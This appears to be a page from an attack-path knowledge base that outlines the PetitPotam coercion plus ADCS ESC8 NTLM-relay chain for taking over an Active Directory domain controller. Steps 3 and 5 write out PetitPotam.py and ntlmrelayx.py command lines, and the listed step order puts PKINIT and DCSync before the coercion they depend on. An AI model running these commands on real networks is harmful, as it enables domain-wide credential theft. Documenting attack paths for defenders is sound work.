Skip to content
← RegistryDossier · 6 steps · 5 edges

PetitPotam + ADCS ESC8 → Domain Controller takeover

Coerce a DC's machine account to authenticate to the attacker, relay that NTLM to the ADCS HTTP web-enrollment endpoint, and obtain a DC certificate for full domain compromise.

Filed by AD Knowledge Base
§ Kill-chainDrag · zoom · scroll

§ Context

Assumed environment: a Certificate Authority with HTTP/HTTPS web enrollment enabled (Certsrv) is reachable from the attacker, NTLM is not blocked on that endpoint, and EFSRPC (or another coercion RPC) is exposed on the DC.

§ Steps

  1. 01
    Low-priv domain userInitial Access
    T1078Valid Accounts
  2. 02
    PKINIT auth as DC$Lateral Movement
    T1550.003Pass the Ticket

    Recover the DC's NT hash via UnPAC-the-hash or directly request a TGT.

  3. 03
    Coerce DC via PetitPotamInitial Access
    AD-COERCEAuthentication Coercion

    PetitPotam.py <listener_ip> <dc_ip>

  4. 04
    DCSync via DC machine accountCredential Access
    T1003.006DCSync
  5. 05
    Start ntlmrelayx → CA web enrollmentCredential Access
    T1557.001LLMNR/NBT-NS Poisoning and SMB Relay

    ntlmrelayx.py -t http://<ca>/certsrv/certfnsh.asp --adcs --template DomainController

  6. 06
    DC cert issued via ESC8Credential Access
    AD-ESC8ADCS ESC8 — HTTP Web Enrollment NTLM Relay

§ References

§ Frequently asked

What is the "PetitPotam + ADCS ESC8 → Domain Controller takeover" attack path?
Coerce a DC's machine account to authenticate to the attacker, relay that NTLM to the ADCS HTTP web-enrollment endpoint, and obtain a DC certificate for full domain compromise. It chains 6 steps drawn from real-world offensive-security techniques.
What starting position does this attack require?
The first step is Low-priv domain user (T1078) — a initial access primitive. Assumed environment: a Certificate Authority with HTTP/HTTPS web enrollment enabled (Certsrv) is reachable from the attacker, NTLM is not blocked on that endpoint, and EFSRPC (or another coercion RPC) is exposed on the DC.
What is the final impact of this kill-chain?
The final step lands on DC cert issued via ESC8 (AD-ESC8), which falls under Credential Access. From here, an operator typically pivots into post-exploitation or maintains persistence.
How can defenders detect or prevent this attack?
Detection and prevention vary per step. Refer to each linked MITRE ATT&CK entry under "References" — every technique on that page lists defensive controls, detection telemetry, and known threat-actor usage.

§ Related dossiers